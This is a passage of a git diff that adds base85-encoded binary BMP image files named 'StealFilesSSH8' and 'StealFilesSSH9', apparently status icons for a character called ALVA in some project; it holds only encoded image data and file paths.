z5e=D{$P-3-c!b(Jh$6!kQDM3iKGn-XuPy#l#L1S=GsJH3SAXqQPRNN^Z6nGo&c z8Q^5Epp%n$jQ$)-l&5Q$moGLjP%4x~yM}^$CuNL$UEgs2=*j$?NyqNg0nG&yBCLV6 z>WQ)Xi2=oZV!VKA47i4UXRZ~FnDVH$?)j6a@qC$;g@tXmZjRl1gt@p2umm;8Nn!Tq z2x6J6P!~5pTU${SPDa4TkV7j53b8Kst5>grdcLP)f_FcTb?a9fv3+|DV&LWYa0MB! zW>Rs%zF}T2NldB;8xiK=q2Y4l1Of?_P7Vz5x3mlC>oO`iXI9A<`_5dv-hv7Vru|nu zGHpLHoHGTO`Ff-APN#9rwu70P6sbUD+rtvBse+uG=ph&>iKwPAW9h6UE?>hyLY)wON;qgSAjD(jl$SQ=!3J;BR zclEWgVnswGN+cQ%Hx}V3Xmo;~Zq%xTMjl#gRqr!x{^j!(#V47s9Xgug%*TRNv&<~n?;x@K92S2lP5ejoA2v9 zh>aH#u~J~AQ57_bfCQucFrex4mbQpOe3KGbiaPN%FjQ3~ir?A2Ua>KF*MOb$qA|#5* zI0=I&p_8Nxii}2;G3W|t1`;XU%ge*Y+S|s49*RkkiZbNV6p4g~iA?QrjX?fnu5)Y;c;R)9A;!BJrb+p@-t%M(ll`iA{ov<(6gUiu&XNz zkCU?zIl_`N843nn37^QMD(G}IC88`1330KRHG4MDd=U5JbcHi5UAVx_vg=SDRzoMq zXhad6EToeq(6|hmgvpe%SPBFYP$^tjU`Hov5JrF}vLd2XY;HzOY=$N_T@#a{ zkSEE+v0RQInvklH_LmBiL4K7oRjCw^DJm{6Q6Q2tSft=kA6q9MM<;Sbqy%BhI9xFc zks=H!lP-hiq0^)cDtIf6k1a{#INS8uci{Wa$_h`2c{n)@AYld|Bnd5A#2^XiWD%Vr zX3(Ju5*Aa!Vo4E}lFNf^V`1@;UcP?zjvm(i{2iT1m{1{!63Y`Lh(u`$d9p+-rI4~? z)G2aFl2E8*GPwjon5S2;tGlm*lb?fgsFyD-3Xf89xe_*8iXajM5t~_=G&z$BtU^lE zxJ2?G3C`Ew=f*Ag0{z3wN9+3J@uTP{EaK&q#ixkqL?MF=tU@|fjDpg|z>2V>Y^W4V zhH&Iut_(qhR5}xf#{~rkyLou^vvcoj?P+5JU*y0YFN~{Ol&@c)qqDcQy_dBeAclDQ z;DRtL0!e~!RYH+cAe8ZWVh&pj=QN!bSj8;5ltq^?sbV@sNsE}1jZnR8r3zU?!^;no zet3K}pTm5?J8I+zkG?$z3W!n$QNSR9hecpu^z#{FgegK;B6Gdi2wFi7>OBQdpb>~Q zP7%VvylSpEvQivF-L@gF61bnH0C+4!@ zJm}dFriqn-wkwmyqmpvugt-|Uhi+ZVD=Iz)6v}*@uI9AgvwOE)FUuH8s0N|%L02YC z#G;E3I)IAVOc4Z!Ddw=m8~{b6P)#mJ!Q(6Ve5kluB#M!U6Chue@&u_!gfQb(iWr$p zBa^5lVzor177JApQ;0=Mu}~)DN%>q6m;DA8VF9j)4WJAmgU+YmrVn8c6NNiDIUPIk zucrjw5B+hh=5xHPug8Uk;Jsbbg-p;@gwVt+8oFjPL};M65-ws6DW46Y5bzX2zEUJm ziG)g_00fJZiDN_p9+eualq$qRg%I8npsXmaNCm_qp+W?#sIC$|SHj_dhru*rHY5u} z$f65q)Oap##W*S6!v;ZEjg4<^uf8AjqjiOXW@#%bX4qPG%NEi#JPHbGVg+1iaS?|h z=DuMS^AU-FBNcE=tURTNuM!JPA&ij;6+8|Fi&aPj5Go0P3N=y)5vr@H7_(j04;>C-8uiNKiHJ|C$&FdI{KYp115H(N2B#T*8 z6cnL~I5ZP013V16iUn+mfc-A3Qv8M~Rv}Uec{BoEEf=dnV;Ly=AFLvjRnF(jcw7mZ zvZj8R#pEM20iBY>!>$`AW(7KhVL~52hT9+?9$C$m{}d0y5paE{)fUE0;jPPV}vJ zb%pXm9vm*^!LWnCvjS2MOU7nEvPh`7xp_i;I^C*Umt{+reLN_X{6tnb;{N@6_=qsF zzstyEk%9xD5EK!cigp}a)W+t3YND)AWt5c<{?tf>u~Km&q$!`xh{h!-WpRM3kZNQo zXp9sU_>G56tO@}K1?3`g4qL@xDp63<$T;#hrSaizeK=g+v-dvT4^{oc@`lZg^ctaL(Dyi#VC7ARvR zqFA&5bY21txE%Cx64rFtI|P z9A^TJkqRI*623XqBA!YFp5Q9@93>a#Vk{Ylq2NTV&}u4&v240qLV5_(+HJhPg5@(E*tSnG^*z}Mpm9O7E#`CUhAKd<{tZ?F= zj~@#S#`ri`XKI8=3Zaxul|sI980gxhE9zmu<#W)i1*uSf3PDJvfWtK9Ym8i?mZ5C` z?nQMK^J5?+ycjW8E#|1jY$fQ*VJTUJse{D}Cny7)`cSF#n!9iV{?puRZic_gYWC07 z%a<8cs=KXCno5$a6iPXCDVHe&4|C9g)+{ZkD-&>_hf)b)_Qa2q3KV>VLBPh#p;rn3w3myjCSQM9|5wq0-wi1b+Hbhc6TIpxslT4;vyL$D5`u$mfzsic9&vbhe%p9vx z+xF}pD`q9D#gJH17!J8C35SIa6lm5WGE`ug(Q{Q|UW|mV;IZiV$an?xy{MvSm{`>k z9>}Q?b7IBp1TiN;z={`9igIOzSv=2vy?7i>O-&8@vG3fDLaXu7%im#r`yo#sKOT~u zW!1AgOc7FIVMqa72o}uk;L1k|JqrXMQ3^TWUX7S1=Q3!xaL8R$MG0Rm=9wsAZUt$| zhD?ot;3FwgTE&>y3CV27K0T5W6YBosUew#q|JeVZgB3ojsj0D|qTJcp2_Nd8og|Kt z0wo>h05Xu4!;o>9avoE`LsWb=a41mL&^VbXHBF{fqYmdPg@_7#E9S-s=mRy(@^Ohn zl_ZB=Jx1i_*4Mv)Px-5YzG;ll#A-g<;lqcB1VW&j?cjLcpm?DIX0U9k43e0`kaJja zE>q5DfN}~Bofh?$743{bOSVS9Rts4QAxp`ljLsC!nVhJk1$jBx&#gp%eFDp0wyybb zSbsiNb6slg+(}MM@N}?B=0{D)6!%xar8`y5X3E$wC19v{Okh%R8PrHjtQ2yWgHj4P z5J~||k*KjEV$lfslpJw{uM;*rY>#Qe@Ox$d=Emn^{kkdZLI) ziws6t#Yn7-o|`V5JX9=aVH~Y`$)u7qr{DYr^6w|;AKK|3V>Q z{W)x8}~fhx`-U|2!)QY}WYs z^QSAnTn67YdDvUq^zPx|Y!{7>np%)wef}3SnYq|ML1{kcKhOFHj_1#x9X)(-&FU2g zfBgQz19(E<&GJu!!pHpoVttGBfBFCah!wT<-<^e)vA<)6 V|1nk=um3vl{}k)r^s$A-{{soS$*TYW literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH8.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH8.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1848bb06f7cc059f8c12d2714eab268f5edbac54 GIT binary patch literal 18462 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 YtPebSc>yeE$j3Qj^sMsP`O>BT1#fPDX#fBK literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH9.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH9.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a47321891dcb284824ca1c75794c9a9b96e5431e GIT binary patch literal 18462 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 